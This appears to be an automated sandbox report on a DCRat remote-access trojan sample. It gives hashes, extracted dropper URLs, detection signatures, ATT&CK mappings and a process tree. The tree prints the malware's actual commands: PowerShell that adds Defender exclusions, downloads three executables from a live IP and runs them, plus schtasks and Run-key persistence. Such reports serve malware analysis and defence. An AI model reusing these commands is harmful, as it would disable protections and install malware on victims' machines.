dcrat | 786cd9f43e76702fd26319d85239b17c6acf79e5afda1a3ab82d95e46bbceff7

Analysis

max time kernel
147s
max time network
153s
platform
windows10_x64
resource
win10-en-20211104
submitted
10/11/2021, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
786CD9F43E76702FD26319D85239B17C6ACF79E5AFDA1.exe
Size 13KB
Sample211110-bc8fjadbcn
SHA256 786cd9f43e76702fd26319d85239b17c6acf79e5afda1a3ab82d95e46bbceff7
MD5 560cd8701722062e9eca6e7bebfa4272
SHA1 2d41cae4788f5c860af7a039a084d4b960eca14c
SHA512 66c4b0e54e93ab276a81d35dc075b96fbcb87a6ea63ce0f0da968fd68d1af2e39139562ab9153b8b04a1fb02b9e270efc9584b6c8473fd495668767befc52f28
MD5 SHA1 SHA512

Score

10^/10

dcrat infostealer persistence rat spyware stealer suricata

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/b09851803105e3256d3d7ea4d4294cf1cdadcfaf.bin

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/60aafbb767c19b91d8dff49c5185de5ba687a116.bin

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/1574bddb75c78a6fd2251d61e2993b5146201319.bin

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 6 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1436	2960	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	300	2960	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1324	2960	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3572	2960	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	928	2960	schtasks.exe	104
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1968	2960	schtasks.exe	104

suricata: ET MALWARE DCRAT Activity (GET)
suricata: ET MALWARE DCRAT Activity (GET)
suricata

DCRat Payload 6 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000600000001ab82-815.dat	dcrat
behavioral2/files/0x000600000001ab82-825.dat	dcrat
behavioral2/files/0x000400000001ab86-981.dat	dcrat
behavioral2/files/0x000400000001ab86-980.dat	dcrat
behavioral2/files/0x000500000001ab8d-1345.dat	dcrat
behavioral2/files/0x000500000001ab8d-1346.dat	dcrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	2400	powershell.exe
27	988	powershell.exe
28	820	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 7 IoCs

pid	Process
3748	EO1.exe
2376	EO2.exe
1312	EO3.exe
2324	sihost32.exe
840	savesHostNetwinPerfcommon.exe
1896	services32.exe
1704	sihost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\savesHostNet\\sihost.exe\""	savesHostNetwinPerfcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files (x86)\\Google\\Policies\\dllhost.exe\""	savesHostNetwinPerfcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Windows\\System32\\KBDBENE\\fontdrvhost.exe\""	savesHostNetwinPerfcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\savesHostNet\\conhost.exe\""	savesHostNetwinPerfcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\de\\ShellExperienceHost.exe\""	savesHostNetwinPerfcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Windows\\System32\\wusa\\conhost.exe\""	savesHostNetwinPerfcommon.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\System32\wusa\088424020bedd6b28ac7fd22ee35dcd7322895ce	savesHostNetwinPerfcommon.exe
File created	C:\Windows\system32\Microsoft\Telemetry\sihost32.log	services32.exe
File created	C:\Windows\system32\services32.exe	EO2.exe
File opened for modification	C:\Windows\system32\services32.exe	EO2.exe
File created	C:\Windows\system32\Microsoft\Telemetry\sihost32.exe	EO2.exe
File created	C:\Windows\System32\KBDBENE\fontdrvhost.exe	savesHostNetwinPerfcommon.exe
File created	C:\Windows\System32\KBDBENE\5b884080fd4f94e2695da25c503f9e33b9605b83	savesHostNetwinPerfcommon.exe
File created	C:\Windows\System32\wusa\conhost.exe	savesHostNetwinPerfcommon.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Google\Policies\dllhost.exe	savesHostNetwinPerfcommon.exe
File created	C:\Program Files (x86)\Google\Policies\5940a34987c99120d96dace90a3f93f329dcad63	savesHostNetwinPerfcommon.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\de\ShellExperienceHost.exe	savesHostNetwinPerfcommon.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\de\f8c8f1285d826bc63910aaf97db97186ba642b4f	savesHostNetwinPerfcommon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3572	schtasks.exe
928	schtasks.exe
1968	schtasks.exe
520	schtasks.exe
3260	schtasks.exe
1436	schtasks.exe
300	schtasks.exe
1324	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings	EO3.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings	savesHostNetwinPerfcommon.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3984	powershell.exe
3984	powershell.exe
3984	powershell.exe
2232	powershell.exe
2232	powershell.exe
2232	powershell.exe
2400	powershell.exe
2400	powershell.exe
2400	powershell.exe
988	powershell.exe
988	powershell.exe
988	powershell.exe
820	powershell.exe
820	powershell.exe
820	powershell.exe
1896	powershell.exe
1896	powershell.exe
1896	powershell.exe
3140	powershell.exe
3140	powershell.exe
3140	powershell.exe
2960	powershell.exe
1944	powershell.exe
1944	powershell.exe
2960	powershell.exe
1944	powershell.exe
2960	powershell.exe
3336	powershell.exe
3336	powershell.exe
3336	powershell.exe
1968	powershell.exe
1968	powershell.exe
1968	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2376	EO2.exe
2376	EO2.exe
3432	powershell.exe
1996	powershell.exe
3432	powershell.exe
1996	powershell.exe
840	savesHostNetwinPerfcommon.exe
3432	powershell.exe
1996	powershell.exe
840	savesHostNetwinPerfcommon.exe
840	savesHostNetwinPerfcommon.exe
3244	powershell.exe
2188	powershell.exe
2188	powershell.exe
3244	powershell.exe
2188	powershell.exe
3244	powershell.exe
3020	powershell.exe
3652	powershell.exe
3652	powershell.exe
3020	powershell.exe
3652	powershell.exe
3020	powershell.exe
2660	powershell.exe
2660	powershell.exe
3600	powershell.exe
3600	powershell.exe
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	988	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeIncreaseQuotaPrivilege	1944	powershell.exe
Token: SeSecurityPrivilege	1944	powershell.exe
Token: SeTakeOwnershipPrivilege	1944	powershell.exe
Token: SeLoadDriverPrivilege	1944	powershell.exe
Token: SeSystemProfilePrivilege	1944	powershell.exe
Token: SeSystemtimePrivilege	1944	powershell.exe
Token: SeProfSingleProcessPrivilege	1944	powershell.exe
Token: SeIncBasePriorityPrivilege	1944	powershell.exe
Token: SeCreatePagefilePrivilege	1944	powershell.exe
Token: SeBackupPrivilege	1944	powershell.exe
Token: SeRestorePrivilege	1944	powershell.exe
Token: SeShutdownPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeSystemEnvironmentPrivilege	1944	powershell.exe
Token: SeRemoteShutdownPrivilege	1944	powershell.exe
Token: SeUndockPrivilege	1944	powershell.exe
Token: SeManageVolumePrivilege	1944	powershell.exe
Token: 33	1944	powershell.exe
Token: 34	1944	powershell.exe
Token: 35	1944	powershell.exe
Token: 36	1944	powershell.exe
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeIncreaseQuotaPrivilege	3336	powershell.exe
Token: SeSecurityPrivilege	3336	powershell.exe
Token: SeTakeOwnershipPrivilege	3336	powershell.exe
Token: SeLoadDriverPrivilege	3336	powershell.exe
Token: SeSystemProfilePrivilege	3336	powershell.exe
Token: SeSystemtimePrivilege	3336	powershell.exe
Token: SeProfSingleProcessPrivilege	3336	powershell.exe
Token: SeIncBasePriorityPrivilege	3336	powershell.exe
Token: SeCreatePagefilePrivilege	3336	powershell.exe
Token: SeBackupPrivilege	3336	powershell.exe
Token: SeRestorePrivilege	3336	powershell.exe
Token: SeShutdownPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeSystemEnvironmentPrivilege	3336	powershell.exe
Token: SeRemoteShutdownPrivilege	3336	powershell.exe
Token: SeUndockPrivilege	3336	powershell.exe
Token: SeManageVolumePrivilege	3336	powershell.exe
Token: 33	3336	powershell.exe
Token: 34	3336	powershell.exe
Token: 35	3336	powershell.exe
Token: 36	3336	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeIncreaseQuotaPrivilege	1968	powershell.exe
Token: SeSecurityPrivilege	1968	powershell.exe
Token: SeTakeOwnershipPrivilege	1968	powershell.exe
Token: SeLoadDriverPrivilege	1968	powershell.exe
Token: SeSystemProfilePrivilege	1968	powershell.exe
Token: SeSystemtimePrivilege	1968	powershell.exe
Token: SeProfSingleProcessPrivilege	1968	powershell.exe
Token: SeIncBasePriorityPrivilege	1968	powershell.exe
Token: SeCreatePagefilePrivilege	1968	powershell.exe
Token: SeBackupPrivilege	1968	powershell.exe
Token: SeRestorePrivilege	1968	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2888 wrote to memory of 984	2888	786CD9F43E76702FD26319D85239B17C6ACF79E5AFDA1.exe	69
PID 2888 wrote to memory of 984	2888	786CD9F43E76702FD26319D85239B17C6ACF79E5AFDA1.exe	69
PID 2888 wrote to memory of 984	2888	786CD9F43E76702FD26319D85239B17C6ACF79E5AFDA1.exe	69
PID 984 wrote to memory of 3984	984	cmd.exe	71
PID 984 wrote to memory of 3984	984	cmd.exe	71
PID 984 wrote to memory of 3984	984	cmd.exe	71
PID 984 wrote to memory of 2232	984	cmd.exe	72
PID 984 wrote to memory of 2232	984	cmd.exe	72
PID 984 wrote to memory of 2232	984	cmd.exe	72
PID 984 wrote to memory of 2400	984	cmd.exe	73
PID 984 wrote to memory of 2400	984	cmd.exe	73
PID 984 wrote to memory of 2400	984	cmd.exe	73
PID 984 wrote to memory of 988	984	cmd.exe	74
PID 984 wrote to memory of 988	984	cmd.exe	74
PID 984 wrote to memory of 988	984	cmd.exe	74
PID 984 wrote to memory of 820	984	cmd.exe	75
PID 984 wrote to memory of 820	984	cmd.exe	75
PID 984 wrote to memory of 820	984	cmd.exe	75
PID 984 wrote to memory of 1896	984	cmd.exe	76
PID 984 wrote to memory of 1896	984	cmd.exe	76
PID 984 wrote to memory of 1896	984	cmd.exe	76
PID 1896 wrote to memory of 3748	1896	powershell.exe	77
PID 1896 wrote to memory of 3748	1896	powershell.exe	77
PID 984 wrote to memory of 3140	984	cmd.exe	78
PID 984 wrote to memory of 3140	984	cmd.exe	78
PID 984 wrote to memory of 3140	984	cmd.exe	78
PID 3140 wrote to memory of 2376	3140	powershell.exe	79
PID 3140 wrote to memory of 2376	3140	powershell.exe	79
PID 984 wrote to memory of 2960	984	cmd.exe	80
PID 984 wrote to memory of 2960	984	cmd.exe	80
PID 984 wrote to memory of 2960	984	cmd.exe	80
PID 2376 wrote to memory of 2192	2376	EO2.exe	81
PID 2376 wrote to memory of 2192	2376	EO2.exe	81
PID 2192 wrote to memory of 1944	2192	cmd.exe	83
PID 2192 wrote to memory of 1944	2192	cmd.exe	83
PID 2960 wrote to memory of 1312	2960	powershell.exe	84
PID 2960 wrote to memory of 1312	2960	powershell.exe	84
PID 2960 wrote to memory of 1312	2960	powershell.exe	84
PID 1312 wrote to memory of 1788	1312	EO3.exe	86
PID 1312 wrote to memory of 1788	1312	EO3.exe	86
PID 1312 wrote to memory of 1788	1312	EO3.exe	86
PID 2192 wrote to memory of 3336	2192	cmd.exe	87
PID 2192 wrote to memory of 3336	2192	cmd.exe	87
PID 2192 wrote to memory of 1968	2192	cmd.exe	88
PID 2192 wrote to memory of 1968	2192	cmd.exe	88
PID 2192 wrote to memory of 2356	2192	cmd.exe	89
PID 2192 wrote to memory of 2356	2192	cmd.exe	89
PID 2376 wrote to memory of 820	2376	EO2.exe	90
PID 2376 wrote to memory of 820	2376	EO2.exe	90
PID 820 wrote to memory of 3260	820	cmd.exe	92
PID 820 wrote to memory of 3260	820	cmd.exe	92
PID 1788 wrote to memory of 1192	1788	WScript.exe	93
PID 1788 wrote to memory of 1192	1788	WScript.exe	93
PID 1788 wrote to memory of 1192	1788	WScript.exe	93
PID 2376 wrote to memory of 2324	2376	EO2.exe	95
PID 2376 wrote to memory of 2324	2376	EO2.exe	95
PID 1192 wrote to memory of 840	1192	cmd.exe	96
PID 1192 wrote to memory of 840	1192	cmd.exe	96
PID 2376 wrote to memory of 1896	2376	EO2.exe	100
PID 2376 wrote to memory of 1896	2376	EO2.exe	100
PID 2324 wrote to memory of 1760	2324	sihost32.exe	99
PID 2324 wrote to memory of 1760	2324	sihost32.exe	99
PID 1896 wrote to memory of 3872	1896	services32.exe	98
PID 1896 wrote to memory of 3872	1896	services32.exe	98

C:\Users\Admin\AppData\Local\Temp\786CD9F43E76702FD26319D85239B17C6ACF79E5AFDA1.exe
"C:\Users\Admin\AppData\Local\Temp\786CD9F43E76702FD26319D85239B17C6ACF79E5AFDA1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell -Command Add-MpPreference -ExclusionPath @('%UserProfile%','%AppData%','%Temp%','%SystemRoot%','%HomeDrive%','%SystemDrive%') -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & powershell (New-Object System.Net.WebClient).DownloadFile('http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/b09851803105e3256d3d7ea4d4294cf1cdadcfaf.bin', '%Temp%\EO1.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/60aafbb767c19b91d8dff49c5185de5ba687a116.bin', '%Temp%\EO2.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/1574bddb75c78a6fd2251d61e2993b5146201319.bin', '%Temp%\EO3.exe') & powershell Start-Process -FilePath '%Temp%\EO1.exe' & powershell Start-Process -FilePath '%Temp%\EO2.exe' & powershell Start-Process -FilePath '%Temp%\EO3.exe' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath @('C:\Users\Admin','C:\Users\Admin\AppData\Roaming','C:\Users\Admin\AppData\Local\Temp','C:\Windows','C:','C:') -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/b09851803105e3256d3d7ea4d4294cf1cdadcfaf.bin', 'C:\Users\Admin\AppData\Local\Temp\EO1.exe')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/60aafbb767c19b91d8dff49c5185de5ba687a116.bin', 'C:\Users\Admin\AppData\Local\Temp\EO2.exe')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://82.146.56.118/output/_cached/EternalphpsecureProcessapi/1574bddb75c78a6fd2251d61e2993b5146201319.bin', 'C:\Users\Admin\AppData\Local\Temp\EO3.exe')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:820
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\EO1.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1896
  - - C:\Users\Admin\AppData\Local\Temp\EO1.exe
      "C:\Users\Admin\AppData\Local\Temp\EO1.exe"
      4⤵
      Executes dropped EXE
      PID:3748
  - - C:\Windows\system32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
      4⤵
      PID:3872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3652
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3600
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\EO2.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3140
  - - C:\Users\Admin\AppData\Local\Temp\EO2.exe
      "C:\Users\Admin\AppData\Local\Temp\EO2.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2376
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2192
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1944
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3336
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1968
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2356
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:820
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:3260
    - - C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
        
        "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2324
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
        6⤵
        
        PID:1760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2660
    - - C:\Windows\system32\services32.exe
        
        "C:\Windows\system32\services32.exe"
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1896
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
        6⤵
        
        PID:3876
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
        7⤵
        Creates scheduled task(s)
        
        PID:520
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\EO3.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Users\Admin\AppData\Local\Temp\EO3.exe
      "C:\Users\Admin\AppData\Local\Temp\EO3.exe"
      4⤵
      Executes dropped EXE
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:1312
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\savesHostNet\qYFJhNGJF1Ik4OAQHXWMZ1c3Fk.vbe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1788
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\savesHostNet\noNjApR3JG8.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1192
        
        C:\savesHostNet\savesHostNetwinPerfcommon.exe
        
        "C:\savesHostNet\savesHostNetwinPerfcommon.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in System32 directory
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\v33rJ1yIPg.bat"
        8⤵
        
        PID:1328
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:2980
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:3464
        
        C:\savesHostNet\sihost.exe
        
        "C:\savesHostNet\sihost.exe"
        9⤵
        Executes dropped EXE
        
        PID:1704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\savesHostNet\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Policies\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\KBDBENE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\savesHostNet\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\de\ShellExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\System32\wusa\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1968

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/820-680-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

Download

memory/820-681-0x0000000000EF2000-0x0000000000EF3000-memory.dmp

Download

memory/820-688-0x0000000000EF3000-0x0000000000EF4000-memory.dmp

Download

memory/840-1007-0x000000001B520000-0x000000001B522000-memory.dmp

Download

memory/988-665-0x0000000004973000-0x0000000004974000-memory.dmp

Download

memory/988-656-0x0000000004972000-0x0000000004973000-memory.dmp

Download

memory/988-655-0x0000000004970000-0x0000000004971000-memory.dmp

Download

memory/1896-703-0x00000000071D2000-0x00000000071D3000-memory.dmp

Download

memory/1896-702-0x00000000071D0000-0x00000000071D1000-memory.dmp

Download

memory/1896-735-0x00000000071D3000-0x00000000071D4000-memory.dmp

Download

memory/1896-1005-0x000000001C1C0000-0x000000001C1C2000-memory.dmp

Download

memory/1944-843-0x0000025CFC5B8000-0x0000025CFC5B9000-memory.dmp

Download

memory/1944-789-0x0000025CFC5B0000-0x0000025CFC5B2000-memory.dmp

Download

memory/1944-790-0x0000025CFC5B3000-0x0000025CFC5B5000-memory.dmp

Download

